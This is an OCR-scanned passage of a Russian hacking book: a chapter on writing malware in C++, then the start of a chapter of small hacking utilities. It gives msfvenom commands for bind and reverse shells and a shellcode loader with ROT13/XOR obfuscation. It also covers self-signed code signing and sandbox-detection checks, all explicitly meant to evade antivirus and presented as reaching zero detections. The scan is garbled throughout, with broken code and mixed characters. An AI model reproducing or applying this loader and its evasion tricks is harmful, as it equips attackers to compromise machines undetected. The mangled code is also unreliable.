. ..-- ... -· -.--.. ·-- .. --..-- -·- -- . ---- . ---.. -. - . --·.-.-...--·--...--·· ------------
....
Глава 8.
Разработка Malware
8.1. Введение в разработку Malware
В этой главе мы рассмотрим и попытаемся реализовать несколько методов,
используемых вредоносными приложениями для выполнения кода и сокры
тия от антивируса. Давайте создадим приложение С++, которое будет за
пускать вредоносный шелл-код, пытаясь не быть перехваченным антивирус
ным программным обеспечением.
Почему С++, а не С# или сценарий PowerShell? Потому что гораздо сложнее
анализировать скомпилированный двоичный файл по сравнению с управля
емым кодом или сценарием. Именно поэтому С++ лучше всего подходит для
написания вирусов и прочих вредоносов.
Для компиляции примеров кода из этой главы используйте MS Visual Studio
2017 или 2019 в Windows l О/11.
•
•
.....................................................................................
1 1,111.1 � Ра 1paii1111,а \/аl11·агс
8.2. Как работает обнаружение вредоносного
кода
Чтобы понять, как защититься от антивируса, нужно понимать, как работа
ет обнаружение вредоносного кода. Решения для защиты от вредоносных
программ могут использовать три типа механизмов обнаружения:
• Обнаружение на основе сигнатур - статическая проверка контрольных
сумм файлов (MD5, SHAl и т. д.) и наличие известных строк или после
довательностей байтов в двоичном файле;
• Эвристическое обнаружение - статический анализ поведения прило
жения и выявление потенциально вредоносных характеристик (напри
мер, использование определенных функций, которые обычно связаны с
вредоносным ПО);
• Песочница - динамический анализ программы, которая запускается в
контролируемой среде (песочнице), где ее действия контролируются.
Существует множество методов, позволяющих избежать различных меха
низмов обнаружения. Например:
• Полиморфное (или, по крайней мере, часто перекомпилируемое) вредо
носi-юе ПО может обойти обнаружение на основе сигнатур;
• Обфускация потока кода может избежать обнаружения на основе эв
ристики;
• Условные операторы, основанные на проверках среды, могут обнаружи
вать и обходить песочницы;
• Кодирование или шифрование кода может помочь обойти обнаружение
на основе сигнатур, а также эвристическое обнаружение.
8.3. Генерируем шелл-код
Для генерирования вредоносного кода мы будем использовать Metasploit
(https://www.metasploit.com/) - пусть это будет ТСР-шелл:
•
·-----·------------------------------------------------------·----------------------
\:а,,11111 11а ('+ �
msfvenom -р windows/shell_bind_tcp LPORT=4444 -f с
Шелл-код - это фрагмент машинного кода, предназначенный для запуска
локальной или удаленной системной оболочки (отсюда и название). Они в
основном используются при эксплуатации уязвимостей программного
обеспечения - когда злоумышленник может контролировать поток выпол
нения программы, ему нужна некоторая универсальная полезная нагрузка
для выполнения желаемого действия (обычно доступ к оболочке). Это от
носится как к локальной эксплуатации (например, для повышения привиле
гий), так и к удаленной эксплуатации (для получения RCE на сервере).
Шелл-код - это загрузочный код, который использует известную
специфическую для платформы механику для выполнения определенных
действий (создание процесса, инициация ТСР-соединения и т. д.). Шелл
коды Windows обычно используют ТЕВ (Thread Environment Block) и РЕВ
(Process Environment Block) для поиска адресов загруженных системных би
блиотек (kernel32.dll, kernelbase.dll или ntdll.dll), а затем "просматривают"
их для поиска адресов функций LoadLibrary() и GetProcAddress(), которые
затем можно использовать для поиска других функций.
Сгенерированный шелл-код может быть включен в бинарник в виде строки.
Классическое выполнение массива char включает приведение этого массива
к указателю на такую функцию:
void (*func) ();
func = (void (*) ()) code;
func ();
Однако мы обнаружили, что невозможно выполнить данные в стеке из-за
механизмов предотвращения выполнения данных (особенно данные в стеке
защищены от выполнения). Хотя этого легко добиться с помощью GCC (с
флагами -fno-stack-protector и -z execstack), мне не удалось сделать это с по
мощью Visual Studio и компилятора MSVC.
...
Примечание. Выполнение шелл-кода в приложении может по
казаться бессмысленным, тем более что мы можем просто реа
лизовать его возможности на С/С++. Однако бывают ситуации,
когда необходимо реализовать собственный загрузчик или ин
жектор шелл-кода (например, для запуска шелл-кода, сгенери•
. . ... . -
---. - ----·-- ....... - ................ -� ................ -. -......... -....... .
1 1.111.1 S l'a 1paii1111..:а На/11·ш·1•
рованного другим инструментом). Помимо выполнения извест
ного вредоносного кода (например, шелл-кода Metasploit), это
хорошая проверка концепции для проверки механизмов обна
ружения и обхода.
8.4. Выполнение шелл-кода
Фактический способ выполнения шелл-кода немного отличается. Нам
нужно:
• Выделить новую область памяти с помощью функции Windows API
VirtualAlloc (или VirtualAllocEx для удаленных процессов);
• Заполнить ее байтами шелл-кода (например, с помощью функции
RtlCopyMemory, которая по сути является оболочкой memcpy);
• Создать новый поток с помощью
CreateRemoteThread соответственно.
функции CreateThread или
Шелл-код также может быть выполнен с использованием массива символов
для приведения указателя на функцию, если область памяти, в которой на
ходится шелл-код, помечена как исполняемая.
Исходный код такого приложения будет выглядеть так:
##include
void main()
{
// Вставьте сюда сгенерированный шелл-код
const char shellcode [] = "\xfc\xe8\x82 (...) ";
PVOID shellcode_exec = VirtualAlloc(0, sizeof shellcode,
MEM_COММITIMEM_RESERVE, PAGE_EXECUTE_READWRITE);
RtlCopyMemory(shellcode_exec, shellcode, sizeof shellcode);
DWORD threadID;
HANDLE hThread = CreateThread(NULL, О,
(PTHREAD_START_ROUTINE)shellcode_exec, NULL, О, &threadID);
WaitForSingleObject(hThread, INFINITE);
•
·----------------------··---·----·--·---···---·--------·-------··---·-------···-··-IZ!il
\:а,,11111 11а ( ++
Итак, мы только что написали малварь. Попробуем "прогнать" его через
VirusTotal. Мы увидите, что у нашего вредоноса довольно большой процент
обнаружения. Далее мы попытаемся запутать код.
8.5. Запутываем код
Первое, что приходит на ум, это изменить шелл-код, чтобы избежать стати
ческих подписей на основе его содержимого.
Мы можем попробовать самое простое "шифрование" - применить шифр
ROT 13 ко всем байтам встроенного шелл-кода- так Ох41 станет Ох54, OxFF
станет ОхОС и так далее. Во время выполнения шелл-код будет "расшифро
ван" путем вычитания значения OxOD (13) из каждого байта.
Код выглядит следующим образом:
##include
void main ()
const char shellcode[] = "\x09\xf5\x8f ( ... ) ";
PVOID shellcode_exec = VirtualAlloc(0, sizeof shellcode,
MEM_COMMITIMEM_RESERVE, PAGE_EXECUTE_READWRITE);
RtlCopyMemory(shellcode_exec, shellcode, sizeof shellcode);
DWORD threadID;
for (int i = О; i < sizeof shellcode; i++)
{
((char*)shellcode ехес)[i] = (((char*)shellcode_exec) [i]) - 13;
HANDLE hThread = CreateThread(NULL, О,
(PTHREAD_START_ROUTINE)shellcode ехес, NULL, О, &threadID);
WaitForSingleObject(hThread, INFINITE);
Мы также можем использовать шифрование XOR (с постоянным однобайто
вым ключом) вместо шифра Цезаря:
for (int i = О; i < sizeof shellcode; i++)
{
((char*)shellcode ехес) [i] = (((char*)shellcode_exec) [i]) л '\х35';
...................................................................................
,
1 1,1в,1:,; l'a 1paiio11,а \lа/н•ш·с
Снова откомпилируйте вредонос и пропустите его через VirusTotal. Вы уви
дите, что нам это особо не помогло и количество антивирусов, которые об
наруживают вредоносный код, не уменьшилось.
Мы можем обмануть антивирусы посредством подписания нашего кода сер
тификатом. Некоторые механизмы обнаружения вредоносных программ мо
гут помечать неподписанные двоичные файлы как подозрительные. Давайте
создадим инфраструктуру подписи кода - нам понадобится центр сертифи
кации и сертификат подписи кода:
makecert -r -ре -n "CN=Malwr СА" -ss СА -sr CurrentUser -а sha256 -су
authority -sky signature -sv MalwrCA.pvk MalwrCA.cer
certutil -user -addstore Root MalwrCA.cer
makecert -ре -n "CN=Malwr Cert" -а sha256 -су end -sky signature -ic
MalwrCA.cer -iv MalwrCA.pvk -sv MalwrCert.pvk MalwrCert.cer
pvk2pfx -pvk MalwrCert.pvk -spc MalwrCert.cer -pfx MalwrCert.pfx
signtool sign /v /f MalwrCert.pfx /t
http://timestamp.verisign.com/scripts/timstamp.dll Malware.exe
После выполнения вышеуказанных команд мы создали центр сертификации
"Malwr", импортировали его в наше хранилище сертификатов, создали сер
тификат для подписи кода в формате .pfx и использовали его для подписи
исполняемого файла.
Примечание. Подписание исполняемого файла можно настро
ить как событие после сборки в свойствах проекта Visual Studio:
signtool.exe sign /v /f $(SolutionDir)Cert\MalwrSPC.pfx /t
http://timestamp.verisign.com/scripts/timstamp.dll $(TargetPath)
После этого количество антивирусов, которые обнаруживают вредонос,
сократится примерно наполовину.
Играя со свойствами компиляции и связывания проекта Visual С++, было
обнаружено, что при удалении дополнительных зависимостей из параме
тров компоновщика (особенно kerne\32.\ib) некоторые механизмы защиты
от вредоносных программ перестанут помечать полученный исполняемый
•
·-. ------------- ---. ·------- -·--·. ---- ----- ·--------··-. ---------·--. ----
. .........
:\а1,11111 11а ( t-+
файл как вредоносный. Интересно, что статическая библиотека kemel32.
lib по-прежнему будет статически скомпонована после компиляции, потому
что исполняемый файл должен знать, где найти основные функции API (из
kemel32.dll). Данный трюк поможет сократить уровень обнаружения вреда
носа примерно на 30%.
Сейчас 2022 год, и я думаю, что большинство компьютеров (особенно поль
зовательских рабочих станций) работают под управлением 64-б�тных
систем. Давайте создадим полезную нагрузку оболочки х64 и проверим ее
на VirusTotal:
msfvenom -р windows/x64/shell_bind_tcp LPORT=4444 -f raw
Затем перекомпилируйте программу с новым шелл-кодом. Если с 32-битным
шелл-кодом наш вредонос обнаруживали 9 антивирусов, то после перехода
на 64 бита - всего 3.
Итак, мы создали простой загрузчик шелл-кода и сумели значительно сни
зить уровень его обнаружения с помощью некоторых несложных методов.
Однако он по-прежнему обнаруживается Microsoft Defender!
8.6. Динамический анализ вредоноса
Динамический анализ исполняемого файла может выполняться либо автома
тически песочницей, либо вручную аналитиком. Вредоносные пр�ложения
часто используют различные методы для идентификации среды, в которой
они выполняются, и выполняют различные действия в зависимости от ситу
ации.
Автоматический анализ выполняется в упрощенной среде песочницы, ко
торая может иметь некоторые специфические черты, в частности, она не
может эмулировать все нюансы реальной среды. Ручной анализ обычно вы
полняется в виртуализированной среде, и могут встречаться специальные
дополнительные инструменты (отладчик, другое аналитическое программ
ное обеспечение).
Как автоматический, так и ручной анализ имеют общие характеристики, в
частности, они обычно выполняются в виртуализированной среде, которую
можно легко обнаружить, если она не настроена (укреплена) должны.
11111-··················································································
1 1,111,1 :-;
l'a 1paiio11,а \lа/11·11г1•
образом. Большинство методов обнаружения песочницы/анализа вращают
ся вокруг проверки определенных атрибутов среды(ограниченные ресурсы,
ориентировочные имена устройств) и артефактов (наличие определенных
файлов, ключей реестра).
Однако существует несколько специфических обнаружений для автоматизи
рованных песочниц и других конкретных виртуальных сред, используемых
аналитиками вредоносных программ.
Рассмотрим наш код с ХОR-шифрование шелл-кода:
v o id main ( )
{
const char shellcode[] = "\хс9\х7d\хЬб ( ... ) ";
PVOID shellcode_exec = VirtualAlloc(0, sizeof shellcode, МЕМ
COММITIMEM_RESERVE, PAGE_EXECUTE_READWRITE);
RtlCopyMemory(shellcode_exec, shellcode, sizeof shellcode);
DWORD threadID;
for ( in t i = О; i < sizeof shellcode; i++)
{
((char*)shellcode_exec) [i] = (((char*)shellcode_exec) [i]) л '\х35';
H ANDLE hТhread = CreateThread(NULL, О,
(PTHREAD_START_ROUTINE)shellcode_exec, NULL, О, &threadID);
Wa itFor SingleObject( hTh r ead, INFINITE);
Для обхода некоторых антивирусов приложение имеет архитектуру х64 и
подписано пользовательским сертификатом. На этот раз мы используем сле
дующий шелл-код:
msfvenan -р windows/x64/shell_reverse_tcp LIORТ=4444 LНОSТ=192.168.200.102 -f raw
Мы проверим, будет ли извлечен IР-адрес обработчика обратной оболочки
(который в данном случае является очень простым IoC) во время динамиче
ского анализа.
Microsoft Defender обнаруживает " троян Meterpreter" (на самом деле это
просто обратная оболочка ТСР, а не оболочка Meterpreter). Песочница VT
может извлекать IР-адрес во время динамического анализа .
•·-----
---------------------------- --------.------------------... --....... --··-·
.......
'\ai-11111 11а ( t-t-
Начнем с общих методов обнаружения и обхода динамического анализа. Как
песочницы, так и виртуализированные операционные системы аналитиков
обычно не могут на 100% точно эмулировать реальную среду выполнения
(например, обычную рабочую станцию пользователя). Виртуализированные
среды имеют ограниченные ресурсы (соответствующие имена устройств
также могут предоставить полезную информацию), могут иметь установ
ленные инструменты и драйверы для конкретных виртуальных машин,
часто выглядят как новая установка Windows и иногда используют жестко
заданные имена пользователей или компьютеров. Мы можем воспользовать
ся этим.
Основная проблема заключается в ограниченных ресурсах: песочница не
может работать долго и параллельно потреблять симуляции, поэтому часто
ограничивает выделяемые ресурсы и время, выделенное для одного эк
земпляра. Обычные блоки виртуальных машин, используемые аналитиками,
также подвержены тем же ограничениям - их ресурсы часто ограничены.
Типичная пользовательская рабочая станция имеет процессор с не менее
чем 2 ядрами, не менее 2 ГБ ОЗУ и жесткий диск на 100 ГБ. Мы можем про
верить, соответствует ли среда, в которой выполняется наше вредоносное
приложение, следующим ограничениям:
// проверяем процессор
SYSTEM_INFO systeminfo;
GetSysteminfo(&systeminfo);
DWORD numberOfProcessors = systeminfo.dwNumberOfProcessors;
i f (numЬerOfProcessors < 2) return false;
// проверяем память
MEMORYSTATUSEX memoryStatus;
memoryStatus.dwLength = s i zeof(memoryStatus);
GlobalMemoryStatusEx(&memoryStatus);
DWORD RАММВ = memoryStatus.ullTotalPhys / 1024 / 1024;
if (RАММВ < 2048) return false;
// проверяем накопитель
НANDLE hDevice = CreateFileW(L"\\\\.\\PhysicalDrive0", О, FILE SНARE READ
FILE_SHARE_WRITE, NULL, OPEN EXISTING, 0, NULL);
DISK_GEOMETRY pDiskGeometry;
DWORD bytesReturned;
DeviceioControl(hDevice, IOCTL_DISK_GET D RIVE_GEOMETRY,NULL,0,
&pDiskGeometry, sizeof(pDiskGeometry), &bytesReturned, (LIOVERIAPPED)NULL);
DWORD diskSizeGB;
diskSizeGB = pDiskGeometry.Cylinders.QuadPart *
•
IJII-··················································································
1 1,1ва Х Ра 1pafio 11,а На/11·ш·с
(ULONG)pDiskGeometry.TracksPerCylinder * (ULONG)pDiskGeometry.SectorsPerTrack
* (ULONG)pDiskGeometry.BytesPerSector / 1024 / 1024 / 1024;
if (diskSizeGB < 100) return false;
Используя эти простые проверки, мы смогли снизить уровень обнаружения
до нуля. С другом шелл-кодом результат может быть иньiм, но тем не менее,
можно поэкспериментировать .
•.---------------... --.---..--. --. --------------.. ---.--------. --. -----------------1!11
Глава 9.
Полезные примеры для
хакинга
'\а1.:11111 11а ( ·-1 +
В этой главе мы напишем несколько небольших программ, которые могут
пригодиться вам на практике хакинга.
9.1. НТМL-клинер на С++
НТМL представляет собой смесь текста и тегов для его визуального отобра
жения. Мы напишем программу, которая будет очищать НТМL-код и выво
дить лишь текст, заключенный в НТМL-тегах.
Листинг 9.1. Очищаем НТМL-код от тегов
#include
using namespace std;
// Функция для парсинга НТМL-кода
void parser(char* S)
(
// Храним длину
•
•··················································································
1 1,111,1 Ч l\o.1t•111ыe 11р11чt·111,1 1.ш ,ai,11111a
// строки s
int n = strlen(S);
int start = О, end
О;
// Обход строки
for (int i = О; i < n; i++)
// Если S[i] = '>', обновляем
// на�ало к i+l и останов
i f ( s [i] == I > I )
start = i + 1;
break;
// Удаляем пробел
w hile (S[start]
start++;
' ')
// Обход строки
for (int i = start; i < n; i++)
// Если S[i] = '
Последние комментарии
20 часов 44 минут назад
23 часов 1 минута назад
1 день 13 часов назад
1 день 13 часов назад
1 день 19 часов назад
1 день 22 часов назад